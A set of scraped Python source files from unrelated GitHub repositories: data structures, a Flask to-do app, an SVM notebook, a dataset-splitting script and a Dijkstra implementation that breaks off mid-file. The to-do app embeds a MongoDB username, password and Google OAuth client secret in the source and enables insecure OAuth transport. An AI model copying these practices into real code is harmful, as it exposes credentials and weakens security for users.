= -1\n\n if right >= self.size or right < 0:\n right = -1\n\n # if not balanced, min is set\n if left != -1 and self.Heap[left].date > self.Heap[parent_node].date:\n _min = left\n\n else:\n _min = parent_node\n\n if right != -1 and self.Heap[right].date > self.Heap[_min].date:\n _min = right\n\n # recursive check for balance and sort\n if _min != parent_node:\n temp = self.Heap[_min]\n self.Heap[_min] = self.Heap[parent_node]\n self.Heap[parent_node] = temp\n\n self.heapsort_top(_min)\n\n def getMin(self):\n if self.size == 0:\n return\n \n pop = self.Heap[0]\n self.Heap[0] = self.Heap[self.size-1]\n self.size -= 1\n\n self.heapsort_top(0)\n return pop\n\n def insert(self, data):\n if self.size < self.capacity:\n self.Heap[self.size] = data\n self.heapsort_bottom(self.size)\n self.size += 1\n","repo_name":"bohnerjosh/SecurityFinal","sub_path":"bnp/heap.py","file_name":"heap.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"4134222671","text":"__version__ = \"0.0.1\"\n\n#\n\nimport requests, json\nfrom flask import Flask, request, jsonify, abort, make_response\nfrom flask.ext.classy import FlaskView, route\nfrom functools import wraps\nfrom api import *\n\ndef authenticate(auth):\n try:\n oauth = Auth()\n rid = oauth.authenticate(auth['username'],auth['password'])\n if not rid:\n abort(401)\n else:\n token = json.loads(rid)['tokenId']\n except ValueError:\n # json bad format\n abort(400)\n except KeyError:\n # auth key does not exists\n abort(400)\n return token\n\ndef requires_auth(f):\n @wraps(f)\n def decorated(self, *args, **kwargs):\n try:\n data = json.loads(request.data)\n auth = data['auth']['passwordCredentials']\n except ValueError:\n # json error, bad format\n abort(400)\n except KeyError:\n # auth key does not exists\n abort(400)\n\n if not auth:\n abort(401)\n self.tokenid = authenticate(auth)\n return f(self, *args, **kwargs)\n return decorated\ndef validate_token(f):\n @wraps(f)\n def decorated(self, *args, **kwargs):\n try:\n self.tokenid = kwargs['tokenid']\n oauth = Auth()\n self.valid = oauth.validate(self.tokenid)\n except KeyError:\n abort(400)\n\n return f(self, *args, **kwargs)\n return decorated\n\n","repo_name":"alsotoes/authcon","sub_path":"api/Authenticate.py","file_name":"Authenticate.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2989428464","text":"from typing import List \n\nclass Solution:\n def findPeakElement(self, nums: List[int]) -> int:\n self.found = -1\n nums = [-1<<32]+nums+[-1<<32]\n self.search_peak(nums, 1, len(nums)-2)\n return self.found\n\n def search_peak(self, nums: List, start, end):\n if self.found != -1:\n return\n if nums[start-1] < nums[start] > nums[start+1]:\n self.found = start-1\n return\n elif nums[end-1] < nums[end] > nums[end+1]:\n self.found = end-1\n return\n if end-start<=1:\n return \n mid = (start+end)//2\n self.search_peak(nums, start, mid) \n self.search_peak(nums, mid, end)\n \n\nif __name__ == \"__main__\":\n sol = Solution().findPeakElement \n assert(sol(nums = [1,2,3,1])) in [2] \n assert(sol(nums = [1,2,1,3,5,6,4])) in [1, 5] \n assert (sol(nums=[1,2,1,5,6,7,8,9])) in [1, 7]\n assert(sol(nums = [5])) in [0]\n print(\"All tests passed successfully!\")\n","repo_name":"inkayat/coding-interview","sub_path":"leetcode/162_find_peak_element.py","file_name":"162_find_peak_element.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38411068850","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom scipy import linalg\nfrom scipy import io\nfrom sklearn.svm import SVC\nget_ipython().magic('matplotlib inline')\n\n\n# In[2]:\n\nClass1_name = 'ClassificationDataForNEONTeam/SarahGClass1.mat'\nClass2_name = 'ClassificationDataForNEONTeam/SarahGClass2.mat'\nClass3_name = 'ClassificationDataForNEONTeam/SarahGClass3.mat'\n\n\n# In[3]:\n\n# Read in data\nClass1_data = io.loadmat(Class1_name)\nClass2_data = io.loadmat(Class2_name)\nClass3_data = io.loadmat(Class3_name)\n\n\n# In[4]:\n\n# Show list of keys\nClass1_data.keys()\n\n\n# In[5]:\n\n# Read in data per class and horizontally concatenate to create training and validation set\nX = Class1_data['SarahGClass1']\nClass1_Training = np.concatenate((X[0,0],X[1,0],X[2,0],X[3,0],X[4,0],X[5,0],X[6,0],X[7,0],X[8,0],X[9,0]),axis=1)\nClass1_Validation = np.concatenate((X[10,0],X[11,0],X[12,0],X[13,0],X[14,0]),axis=1)\n\nX = Class2_data['SarahGClass2']\nClass2_Training = np.concatenate((X[0,0],X[1,0],X[2,0],X[3,0],X[4,0],X[5,0],X[6,0],X[7,0],X[8,0],X[9,0]),axis=1)\nClass2_Validation = np.concatenate((X[10,0],X[11,0],X[12,0],X[13,0],X[14,0]),axis=1)\n\nX = Class3_data['SarahGClass3']\nClass3_Training = np.concatenate((X[0,0],X[1,0],X[2,0],X[3,0],X[4,0],X[5,0],X[6,0],X[7,0],X[8,0],X[9,0]),axis=1)\nClass3_Validation = np.concatenate((X[10,0],X[11,0],X[12,0],X[13,0],X[14,0]),axis=1)\n\n\n# ## Check the data with a nice pretty plot\n\n# In[6]:\n\nplt.figure()\nplt.plot(range(0,346),Class1_Training)\nplt.title('Hyperspectral signatures Class 1 Training set');\n\n\n# In[7]:\n\n# prepare data for SVc classification between class 1 and class 2\n# Concatenate class 1 and class 2\n# Training\nAllSamps = np.concatenate((Class1_Training,Class2_Training),axis=1)\nAllSamps = AllSamps.T\nNP1 = int(Class1_Training.shape[1])\nNP2 = int(Class2_Training.shape[1])\n# Validation\nValidSamps = np.concatenate((Class1_Validation,Class2_Validation),axis=1)\nValidSamps = ValidSamps.T\nNPV1 = int(Class1_Validation.shape[1])\nNPV2 = int(Class2_Validation.shape[1])\n\n# need a 1d array of 1 and -1 of lenghts np1+np2\n# Training\nTarget = np.ones((NP1+NP2,1))\nTarget[:NP1] = -1\nTargets = np.ravel(Target)\n# Validation\nTargets_Val = np.ones((NPV1+NPV2,1))\nTargets_Val[:NPV1]=-1\nTargets_Val=np.ravel(Targets_Val)\n\n\n# In[8]:\n\n# Initialize the SVC\nInitsSVC = SVC(C=400)\n\n\n# In[9]:\n\n# Train the classifier\nTrainedSVC_Class_1_2=InitsSVC.fit(AllSamps,Targets)\n\n\n# In[11]:\n\n# Check the classifier for the training data using the predict function\ny = TrainedSVC_Class_1_2.predict(AllSamps)\n\n\n# In[12]:\n\n# Make a figure of the results of the classifier for training set\nplt.figure()\nplt.subplot(311)\nplt.plot(y,\".\")\nplt.subplot(312)\nplt.plot(Target,\".\")\nplt.subplot(313)\nplt.plot(y,\".\")\nplt.plot(Target,\".\");\n\n\n# In[14]:\n\n# Number of support vectors for each class\nTrainedSVC_Class_1_2.n_support_\n\n\n# In[15]:\n\n# Plotting the support vectors --> spectral signatures of the pixels that were chosen\nsv=TrainedSVC_Class_1_2.support_vectors_\nplt.plot(sv.T);\n\n\n# In[18]:\n\nValidate = TrainedSVC_Class_1_2.predict(ValidSamps)\n\n\n# In[19]:\n\nValidSamps.shape\n\n\n# In[20]:\n\n# Plot the result of the classifier for the validation data set\nplt.figure()\nplt.plot(Validate,\"o\");\n\n\n# In[23]:\n\n# Calculate the score of the classifier for this pair\nprint('Mean accuracy: ',TrainedSVC_Class_1_2.score(ValidSamps,Targets_Val))\n\n\n# In[24]:\n\n# Figure for the target and the validation data set\nplt.figure()\nplt.plot(Targets_Val,\"o\")\nplt.plot(Validate,\"o\");\n\n\n# In[ ]:\n\n\n\n","repo_name":"MarjaH/NEON-2017-DI-VegClass","sub_path":"code/Reading_Data_SVC.py","file_name":"Reading_Data_SVC.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34099846205","text":"#!/usr/bin/python3\n\nimport argparse, os, pickle, re, sys\n\nimport numpy as np\n\nfrom collections import OrderedDict\n\n# local imports\nsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\nfrom lib.data import *\nfrom lib.utils import *\n\n\ndef parse_arguments():\n\targ_parser = argparse.ArgumentParser(description='Universal Dependencies - Split Data')\n\targ_parser.add_argument('ud_path', help='path to Universal Dependencies directory')\n\targ_parser.add_argument('out_path', help='path to output directory')\n\targ_parser.add_argument('-p', '--proportions', default='.7,.1,.2', help='train, dev, test proportions (default: \".7,.1,.2\")')\n\targ_parser.add_argument('-ka', '--keep_all', action='store_true', default=False, help='keep all original splits (default: False)')\n\targ_parser.add_argument('-kt', '--keep_test', action='store_true', default=False, help='do not split test data into train/dev (default: False)')\n\targ_parser.add_argument('-ms', '--max_sentences', type=int, default=int(2e4), help='maximum number of sentences per split except test (default: 20k)')\n\targ_parser.add_argument('-rs', '--seed', type=int, default=42, help='seed for probabilistic components (default: 42)')\n\treturn arg_parser.parse_args()\n\n\ndef main():\n\targs = parse_arguments()\n\n\t# check if output dir exists\n\tsetup_success = setup_output_directory(args.out_path)\n\tif not setup_success: return\n\n\t# setup logging\n\tsetup_logging(os.path.join(args.out_path, 'split.log'))\n\n\t# set random seed\n\tnp.random.seed(args.seed)\n\n\t# parse split proportions\n\tproportions = [float(pstr) for pstr in args.proportions.split(',')]\n\tassert sum(proportions) == 1, f\"[Error] Split proportions {proportions} do not sum up to 1.\"\n\tassert len(proportions) == 3, f\"[Error] There must be three proportions (i.e. train, dev, test).\"\n\n\t# load Universal Dependencies\n\tud = UniversalDependencies.from_directory(args.ud_path, verbose=True)\n\tlogging.info(f\"Loaded {ud}.\")\n\n\t# gather corpus indices by treebanks tb -> tbf -> corpus_idcs\n\ttb_split_idcs = OrderedDict()\n\tcursor = 0\n\tfor tbf in ud.get_treebanks():\n\t\t# get name of current file's treebank\n\t\ttb_name = tbf.get_language() + '/' + tbf.get_treebank_name()\n\t\tif tb_name not in tb_split_idcs:\n\t\t\ttb_split_idcs[tb_name] = OrderedDict()\n\t\t# extract split from current file\n\t\tsplit_match = re.match(r'.+-(.+?)\\.conllu', tbf.get_name())\n\t\tif not split_match:\n\t\t\tlogging.warning(f\"[Warning] Could not identify split of '{tbf.get_name()}'. Skipped.\")\n\t\t\tcontinue\n\t\t# set tb -> split to tbf_corpus_idcs\n\t\ttb_split_idcs[tb_name][split_match[1]] = list(range(cursor, cursor + len(tbf)))\n\t\t# increment cursor by split size\n\t\tcursor += len(tbf)\n\n\t# split and subsample data\n\tlogging.info(\"-\" * 20)\n\tsplit_indices = {'train': [], 'dev': [], 'test': []}\n\tfor tb, splits in tb_split_idcs.items():\n\t\tcur_split_idcs = {}\n\t\tcur_split_info = defaultdict(list)\n\n\t\t# case: treebank has train, dev and test splits\n\t\tif {'train', 'dev', 'test'} == set(splits):\n\t\t\tcur_split_idcs = splits\n\t\t# case: treebank has train and test splits\n\t\telif {'train', 'test'} == set(splits):\n\t\t\t# test remains test\n\t\t\tcur_split_idcs['test'] = splits['test']\n\t\t\t# if original splits should be kept, don't re-split\n\t\t\tif args.keep_all:\n\t\t\t\tcur_split_idcs['train'] = splits['train']\n\t\t\t\tcur_split_idcs['dev'] = []\n\t\t\t# split train into train/dev\n\t\t\telse:\n\t\t\t\t# shuffle train data\n\t\t\t\tnp.random.shuffle(splits['train'])\n\t\t\t\t# split train into train and dev (rescale proportions to train/(train+dev))\n\t\t\t\tprop_idx = round(len(splits['train']) * (proportions[0]/sum(proportions[0:2])))\n\t\t\t\tcur_split_idcs['train'] = splits['train'][:prop_idx]\n\t\t\t\tcur_split_info['train'].append(f'train[:{prop_idx}]')\n\t\t\t\tcur_split_idcs['dev'] = splits['train'][prop_idx:]\n\t\t\t\tcur_split_info['dev'].append(f'train[{prop_idx}:]')\n\t\t# case: treebank contains only test\n\t\telif {'test'} == set(splits):\n\t\t\t# if test should not be split\n\t\t\tif args.keep_test or args.keep_all:\n\t\t\t\t# add nothing to train and dev\n\t\t\t\tcur_split_idcs['train'] = []\n\t\t\t\tcur_split_idcs['dev'] = []\n\t\t\t\t# keep test as it is\n\t\t\t\tcur_split_idcs['test'] = splits['test']\n\t\t\t\tcur_split_info['test'].append('no split')\n\t\t\t# if test is allowed to be split into train, dev, test\n\t\t\telse:\n\t\t\t\t# shuffle test data\n\t\t\t\tnp.random.shuffle(splits['test'])\n\t\t\t\t# split test into train, dev, test\n\t\t\t\tcursor = 0\n\t\t\t\tfor spidx, split in enumerate(['train', 'dev', 'test']):\n\t\t\t\t\tcursor_end = cursor + (round(len(splits['test']) * proportions[spidx]))\n\t\t\t\t\t# if test, include all remaining data (in case of rounding issues)\n\t\t\t\t\tif split == 'test': cursor_end = len(splits['test'])\n\n\t\t\t\t\tcur_split_idcs[split] = splits['test'][cursor:cursor_end]\n\t\t\t\t\tcur_split_info[split].append(f'test[{cursor}:{cursor_end}]')\n\t\t\t\t\tcursor = cursor_end\n\t\t# case: unknown splits\n\t\telse:\n\t\t\tlogging.warning(f\" [Warning] Unknown set of splits {tuple(splits.keys())}. Skipped.\")\n\t\t\tcontinue\n\n\t\t# subsample split if it is too large\n\t\tfor split, idcs in cur_split_idcs.items():\n\t\t\tif split == 'test': continue\n\t\t\tif len(idcs) <= args.max_sentences: continue\n\t\t\tcur_split_idcs[split] = list(np.random.choice(idcs, args.max_sentences, replace=False))\n\t\t\tcur_split_info[split].append(f'sampled from {len(idcs)}')\n\n\t\t# append current splits to overall corpus indices\n\t\tsplit_indices['train'] += cur_split_idcs['train']\n\t\tsplit_indices['dev'] += cur_split_idcs['dev']\n\t\tsplit_indices['test'] += cur_split_idcs['test']\n\n\t\t# print statistics\n\t\tnum_idcs = sum([len(cur_split_idcs['train']), len(cur_split_idcs['dev']), len(cur_split_idcs['test'])])\n\t\tlogging.info(f\"{tb} (n={num_idcs}):\")\n\t\tfor split in ['train', 'dev', 'test']:\n\t\t\tlogging.info(f\" {split.capitalize()}: {len(cur_split_idcs[split])} sentences ({len(cur_split_idcs[split])/num_idcs:.4f})\")\n\t\t\tif cur_split_info[split]: logging.info(f\" {' | '.join(cur_split_info[split])}\")\n\n\t# print overall statistics\n\tnum_idcs = sum([len(split_indices['train']), len(split_indices['dev']), len(split_indices['test'])])\n\tlogging.info(f\"UD (n={num_idcs}):\")\n\tfor split in ['train', 'dev', 'test']:\n\t\tlogging.info(f\" {split.capitalize()}: {len(split_indices[split])} sentences ({len(split_indices[split])/num_idcs:.4f})\")\n\t\tcur_languages = {ud.get_language_of_index(sidx) for sidx in split_indices[split]}\n\t\tlogging.info(f\" Languages: {len(cur_languages)}\")\n\t\tlogging.info(f\" {', '.join(sorted(cur_languages))}\")\n\t\tcur_domain_combinations = {tuple(sorted(ud.get_domains_of_index(sidx))) for sidx in split_indices[split]}\n\t\tcur_domains = {d for dc in cur_domain_combinations for d in dc}\n\t\tlogging.info(f\" Domains: {len(cur_domains)}\")\n\t\tlogging.info(f\" {', '.join(sorted(cur_domains))}\")\n\t\tlogging.info(f\" Domain Combinations: {len(cur_domain_combinations)}\")\n\t\tlogging.info(f\" {', '.join([str(dc) for dc in sorted(cur_domain_combinations)])}\")\n\n\tlogging.info(\"-\" * 20)\n\n\t# save results\n\tsplit_path = os.path.join(args.out_path, 'split.pkl')\n\twith open(split_path, 'wb') as fp:\n\t\tpickle.dump(split_indices, fp)\n\tlogging.info(f\"Saved split indices to '{split_path}'.\")\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"personads/ud-selection","sub_path":"data/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":7049,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"31058916717","text":"rows, cols = [int(x) for x in input().split(', ')]\n\nmatrix = []\n\nfor _ in range(rows):\n matrix.append([int(x) for x in input().split(', ')])\n\nsquare_matrices = []\n\nsquare_sum = {}\n\nfor row in range(rows - 1):\n for col in range(cols - 1):\n current_cell = matrix[row][col]\n right_cell = matrix[row][col+1]\n down_cell = matrix[row+1][col]\n down_right_cell = matrix[row+1][col+1]\n\n square_matrices.append((current_cell,right_cell,down_cell,down_right_cell))\n\n\nfor sub_matrix in square_matrices:\n if sum(sub_matrix) not in square_sum:\n square_sum[sum(sub_matrix)] = sub_matrix\n\n\n\nresult = max(square_sum.items())\n\nsum_matrix = result[0]\nsub_matrix = result[1]\nrow = 0\nprint(f'{sub_matrix[row]} {sub_matrix[row+1]}')\nprint(f'{sub_matrix[row+2]} {sub_matrix[row+3]}')\n\nprint(sum_matrix)","repo_name":"milensski/SoftUni-Advanced-OOP","sub_path":"Multidimensional-Lists/Lab/square_with_max_sum.py","file_name":"square_with_max_sum.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"9342751231","text":"import os\nimport time\nfrom watchdog.observers import Observer\nfrom watchdog.events import FileSystemEventHandler\n\n\nclass Watcher:\n DIRECTORY_TO_WATCH = r\"D:\\Chemstation\\1\\Data\"\n def __init__(self):\n self.observer = Observer()\n\n def run(self):\n event_handler = Handler()\n self.observer.schedule(event_handler, self.DIRECTORY_TO_WATCH, recursive=True)\n self.observer.start()\n i = 3000\n try:\n while deck.reaction_folder=='' and i >= 1:\n time.sleep(1)\n i -=1\n except:\n self.observer.stop()\n print(\"Error\")\n self.observer.stop()\n\n\n\nclass Handler(FileSystemEventHandler):\n @staticmethod\n def on_any_event(event):\n if event.is_directory:\n return None\n\n elif event.event_type == 'created':\n try:\n\n deck.reaction_folder = take_n_level_dir(event.src_path,5)\n print(deck.reaction_folder)\n except:\n print('pass')\n\n elif event.event_type == 'modified':\n # Taken any action here when a file is modified.\n pass\n\ndef take_n_level_dir(path:str,n:int):\n \"\"\"\n works for mac system\n :param path:\n :param n:\n :return:\n \"\"\"\n split = path.split('\\\\')\n x = split[n+1]\n join = '\\\\'.join(split[:n+1])\n return join\n\n\nif __name__ == '__main__':\n w = Watcher()\n w.run()","repo_name":"lukeyf/hplc_data_analysis","sub_path":"hplc_data_anal/backend/watcher.py","file_name":"watcher.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"39426202224","text":"from flask import Flask, render_template,request,redirect,url_for, session # For flask implementation\nfrom bson import ObjectId # For ObjectId to work\nfrom pymongo import MongoClient\nimport os\nfrom flask_dance.contrib.google import make_google_blueprint, google\n\napp = Flask(__name__)\napp.secret_key = 'mysecret'\ntitle = \"Getting Things Done\"\nheading = \"Getting Things Done\"\n\n# app.config[\"GOOGLE_OAUTH_CLIENT_ID\"] = \"556847905057-doibroqcnu94pecjcb0qf4esl0qslfio.apps.googleusercontent.com\"\napp.config[\"GOOGLE_OAUTH_CLIENT_ID\"] = \"854375375084-vjlsk9d65kba31ke49rtoh4qinjvq1fb.apps.googleusercontent.com\"\n# app.config[\"GOOGLE_OAUTH_CLIENT_SECRET\"] = \"4j5PNyUOxikXB-lf-5xddkaK\"\napp.config[\"GOOGLE_OAUTH_CLIENT_SECRET\"] = \"TBIPHrr6VuQjguZRO1GphjzI\"\ngoogle_bp = make_google_blueprint(scope=[\"profile\", \"email\"])\napp.register_blueprint(google_bp, url_prefix=\"/login\")\n \nos.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\nos.environ['OAUTHLIB_RELAX_TOKEN_SCOPE'] = '1'\n\nclient = MongoClient(\"mongodb+srv://Admin:vvmsvvms@cluster0.x76r9.mongodb.net/?retryWrites=true&w=majority\")\ndb = client.to_do_list\n# grade_content = db.tasks\ntodos = db.tasks\n# doc = grade_content.find_one({'grade': grade})\n\n# client = MongoClient(\"mongodb://127.0.0.1:27017\") #host uri\n# db = client.mymongodb #Select the database\n# todos = db.todo #Select the collection name\n\n\n@app.route('/')\ndef index():\n\tif google.authorized:\n\t\t# print(\" google \", google)\n\t\tresp = google.get(\"/oauth2/v1/userinfo\")\n\t\tsession['username'] = resp.json()[\"email\"]\n\t\tassert resp.ok, resp.text\n\t\t# user = users.find_one({'username' : resp.json()[\"email\"]})\n\t\t# if not user:\n\t\t# \tusers.insert_one({'username' : resp.json()[\"email\"], 'password' : \"\", 'cart' : [], 'address': \"\", 'mobile': \"\", 'purchased':[], 'rating':{}})\n\t\treturn redirect(url_for('viewHomepage'))\n\tif 'username' in session:\n\t\treturn redirect(url_for('viewHomepage'))\n\t# if 'manufacturerName' in session:\n\t# \treturn redirect(url_for('adminIndex'))\n\treturn render_template('index.html')\n\n@app.route(\"/homepage\")\ndef viewHomepage ():\n\tif 'username' in session:\n\t\ttodos_l = todos.find()\n\t\ta1=\"active\"\n\t\treturn render_template('homepage.html',username=session['username'], a1=a1,todos=todos_l,t=title,h=heading)\n\treturn redirect(url_for('index'))\n\n# @app.route(\"/\")\ndef redirect_url():\n return request.args.get('next') or \\\n request.referrer or \\\n url_for('index')\n\n@app.route('/login', methods=['POST'])\ndef login():\n\treturn redirect(url_for('index'))\n\n@app.route('/logout')\ndef logout():\n\tif 'username' in session:\n\t\ttoken = google_bp.token[\"access_token\"]\n\t\tresp = google.post(\n\t\t\t\"https://accounts.google.com/o/oauth2/revoke\",\n\t\t\tparams={\"token\": token},\n\t\t\theaders={\"Content-Type\": \"application/x-www-form-urlencoded\"}\n\t\t)\n\t\tdel google_bp.token\n\t\tsession.pop('username')\n\t# if 'manufacturerName' in session:\n\t# \tsession.pop('manufacturerName')\n\treturn redirect(url_for('index'))\n\n@app.route(\"/list\")\ndef lists ():\n\t#Display the all Tasks\n\ttodos_l = todos.find()\n\ta1=\"active\"\n\treturn render_template('homepage.html', username=session['username'], a1=a1,todos=todos_l,t=title,h=heading)\n\n# @app.route(\"/\")\n@app.route(\"/uncompleted\")\ndef tasks ():\n\t#Display the Uncompleted Tasks\n\ttodos_l = todos.find({\"done\":\"no\"})\n\ta2=\"active\"\n\treturn render_template('homepage.html', username=session['username'], a2=a2,todos=todos_l,t=title,h=heading)\n\n\n@app.route(\"/completed\")\ndef completed ():\n\t#Display the Completed Tasks\n\ttodos_l = todos.find({\"done\":\"yes\"})\n\ta3=\"active\"\n\treturn render_template('homepage.html', username=session['username'], a3=a3,todos=todos_l,t=title,h=heading)\n\n@app.route(\"/done\")\ndef done ():\n\t#Done-or-not ICON\n\tid=request.values.get(\"_id\")\n\ttask=todos.find({\"_id\":ObjectId(id)})\n\tif(task[0][\"done\"]==\"yes\"):\n\t\ttodos.update({\"_id\":ObjectId(id)}, {\"$set\": {\"done\":\"no\"}})\n\telse:\n\t\ttodos.update({\"_id\":ObjectId(id)}, {\"$set\": {\"done\":\"yes\"}})\n\tredir=redirect_url()\t\n\n\treturn redirect(redir)\n\n@app.route(\"/action\", methods=['POST'])\ndef action ():\n\t#Adding a Task\n\tname=request.values.get(\"name\")\n\tdesc=request.values.get(\"desc\")\n\tdate=request.values.get(\"date\")\n\t# date = \"\"\n\tpr=request.values.get(\"pr\")\n\t# pr = \"\"\n\t# todos.insert({ \"name\":name, \"desc\":desc, \"date\":date, \"pr\":pr, \"done\":\"no\"})\n\ttodos.insert({ \"name\":name, \"desc\":desc, \"date\":date, \"pr\":pr, \"done\":\"no\"})\n\treturn redirect(\"/list\")\n\n@app.route(\"/remove\")\ndef remove ():\n\t#Deleting a Task with various references\n\tkey=request.values.get(\"_id\")\n\ttodos.remove({\"_id\":ObjectId(key)})\n\treturn redirect(\"/\")\n\n@app.route(\"/update\")\ndef update ():\n\tid=request.values.get(\"_id\")\n\ttask=todos.find({\"_id\":ObjectId(id)})\n\treturn render_template('update.html',tasks=task,h=heading,t=title)\n\n@app.route(\"/action3\", methods=['POST'])\ndef action3 ():\n\t#Updating a Task with various references\n\tname=request.values.get(\"name\")\n\tdesc=request.values.get(\"desc\")\n\tdate=request.values.get(\"date\")\n\tpr=request.values.get(\"pr\")\n\tid=request.values.get(\"_id\")\n\ttodos.update({\"_id\":ObjectId(id)}, {'$set':{ \"name\":name, \"desc\":desc, \"date\":date, \"pr\":pr }})\n\treturn redirect(\"/\")\n\n@app.route(\"/search\", methods=['GET'])\ndef search():\n\t#Searching a Task with various references\n\n\tkey=request.values.get(\"key\")\n\trefer=request.values.get(\"refer\")\n\tif(key==\"_id\"):\n\t\ttodos_l = todos.find({refer:ObjectId(key)})\n\telse:\n\t\ttodos_l = todos.find({refer:key})\n\treturn render_template('searchlist.html',todos=todos_l,t=title,h=heading)\n\n@app.route(\"/google\")\ndef google_login():\n\tif not google.authorized:\n\t\treturn redirect(url_for(\"google.login\"))\n\tresp = google.get(\"/oauth2/v1/userinfo\")\n\tsession['username'] = resp.json()[\"email\"]\n\tassert resp.ok, resp.text\n\tuser = users.find_one({'username' : resp.json()[\"email\"]})\n\t# if not user:\n\t# \tusers.insert_one({'username' : resp.json()[\"email\"], 'password' : \"\", 'cart' : [], 'address': \"\", 'mobile': \"\", 'purchased':[], 'rating':{}})\n\treturn redirect(url_for('homepage'))\n\nif __name__ == \"__main__\":\n\n app.run()\n","repo_name":"ezhil-mathy/Getting-Things-Done","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"75408841523","text":"import socket\nimport sys\nimport time\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 3:\n print(\"Usage: {} <host> <port>\".format(sys.argv[0]))\n print(\"Example: {} localhost 3434\".format(sys.argv[0]))\n sys.exit(1)\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((sys.argv[1], int(sys.argv[2])))\n\n ct = 0\n while True:\n msg = \"{\\\"test message\\\" : \" + str(ct) + \"}\"\n print(msg)\n s.send(str.encode(msg + \"\\n\"))\n ct += 1\n time.sleep(5.0)\n \n s.close()\n","repo_name":"NextCenturyCorporation/VirtUE-sensing","sub_path":"targets/desktop-bridge-target/sensor/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"42666925846","text":"import socket\nimport sys\n\n\ndef find_free_port():\n with socket.socket() as s:\n s.bind(('', 0)) # Bind to a free port provided by the host.\n return s.getsockname()[1] # Return the port number assigned.\n\n\ndef is_within_jupyter_lab() -> bool:\n try:\n from pyquibbler.optional_packages.get_IPython import get_ipython, Comm # noqa: F401\n shell = get_ipython().__class__.__name__\n if shell == 'ZMQInteractiveShell':\n return True # Jupyter notebook or qtconsole\n elif shell == 'TerminalInteractiveShell':\n return False # Terminal running IPython\n else:\n return False # Other type (?)\n except (NameError, ImportError):\n return False # Probably standard Python interpreter\n\n\ndef is_within_colab() -> bool:\n return 'google.colab' in sys.modules\n","repo_name":"Technion-Kishony-lab/quibbler","sub_path":"pyquibbler/pyquibbler/project/jupyer_project/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":303,"dataset":"github-code","pt":"75"} +{"seq_id":"70524587121","text":"from graph import *\n\nclass Dijikstra:\n # dijikstra算法1\n # 规定一个出发点,求该点到其他所有点的最短距离\n # 适用范围:没有权值为负数的边\n # 参考: https://github.com/algorithmzuo/algorithmbasic2020/blob/master/src/class16/Code06_Dijkstra.java\n def dijikstra1(self, first):\n \"\"\"\n 从first出发, 到所有点的最小距离\n :param first: Node\n :return: dict{} -> key: 从first出发达到key;value: 从first到key的最小距离;\n 如果表中没有T的记录,表示从first到T的距离为正无穷\n \"\"\"\n distance_map = {}\n distance_map[first] = 0\n # 已经确定最短距离的点,存在selected_nodes中,后面不再动\n selected_nodes = []\n cur_min = self.getMinDistanceAndUnselectedNode(distance_map, selected_nodes)\n while cur_min is not None:\n distance = distance_map[cur_min]\n for edge in cur_min.edges:\n to_node = edge.n_to\n if to_node not in distance_map.keys():\n distance_map[to_node] = distance + edge.weight\n distance_map[to_node] = min(distance_map[to_node], distance + edge.weight)\n selected_nodes.append(cur_min)\n cur_min = self.getMinDistanceAndUnselectedNode(distance_map, selected_nodes)\n\n return distance_map\n\n def getMinDistanceAndUnselectedNode(self, distance_map, selected_nodes):\n minNode = None\n min_distance = float('inf') # python中的无穷大\n for key in distance_map.keys():\n node = key\n distance = distance_map[key]\n if node not in selected_nodes and distance < min_distance:\n minNode = node\n min_distance = distance\n\n return minNode\n\n # 改进的dijikstra算法: 利用堆结构\n # 从head出发,所有head能到达的节点,生成到达每个节点的最小路径记录并返回\n # 参考:https://github.com/algorithmzuo/algorithmbasic2020/blob/master/src/class16/Code06_Dijkstra.java\n def dijikstra2(self, first):\n node_heap = NodeHeap()\n node_heap.add_update_ignore(first, 0)\n result = {} # node:distance(first到node的最短距离)\n while not node_heap.is_empty():\n record = node_heap.pop()\n cur = record.node\n cur_dis = record.dis # cur diatance\n for edge in cur.edges:\n node_heap.add_update_ignore(edge.n_to, edge.weight + cur_dis)\n result[cur] = cur_dis\n\n return result\n\nclass NodeHeap:\n def __init__(self):\n self.size = 0\n self.nodes_heap = []\n self.dis_map = {} # distance map\n self.heap_index = {} # heap index map\n\n def is_empty(self):\n return self.size == 0\n\n def add_update_ignore(self, node, distance):\n # 如果node已经入堆,更新源点到node的最短距离\n if self.in_heap(node):\n self.dis_map[node] = min(self.dis_map[node], distance)\n # 调整堆 insert heapify\n self.insert_heapify(self.heap_index[node])\n if not self.entered(node):\n self.nodes_heap.append(node)\n self.heap_index[node] = self.size\n self.dis_map[node] = distance\n self.insert_heapify(self.size)\n self.size += 1\n\n def in_heap(self, node):\n return self.entered(node) and self.heap_index[node] != -1\n\n def entered(self, node):\n return node in self.heap_index.keys()\n\n def insert_heapify(self, index):\n while 